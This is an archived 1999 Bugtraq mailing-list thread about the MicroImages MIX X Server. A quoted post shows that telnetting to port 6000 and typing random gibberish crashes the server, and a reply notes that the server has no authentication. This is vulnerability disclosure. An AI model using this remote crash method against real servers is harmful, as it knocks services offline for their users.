Bugtraq mailing list archives

Re: MicroImages MIX X Server


From: secureaustin () CONSULTANT COM (H D Moore)
Date: Wed, 6 Oct 1999 12:50:28 -0500


The last version of MIX X Server I used did not have any authentication
to speak of (so xhost, xauth, etc).  It not only crashed when I sent
garbage to it's tcp port, but tended to randomly crash the X
applications running on them.   Just my .02 --

-HD

Jim Frost wrote:

Jan Szumiec wrote:
I don't know whether anyone wrote about this, so here it goes.

It is possible to bring down the XServer remotely ...

$ telnet 192.168.1.2 6000
Connected to 192.168.1.2
Escape character is ^[
djkfhgjksdhgjklhgjklsdhgjklehrslhgsd
Connection closed by remote host.
$

Basically telneting into port 6000 of the server and typing in random
gibberish, brings it down.

Is the server xhost + or not?  Might make a difference.

jim


Current thread: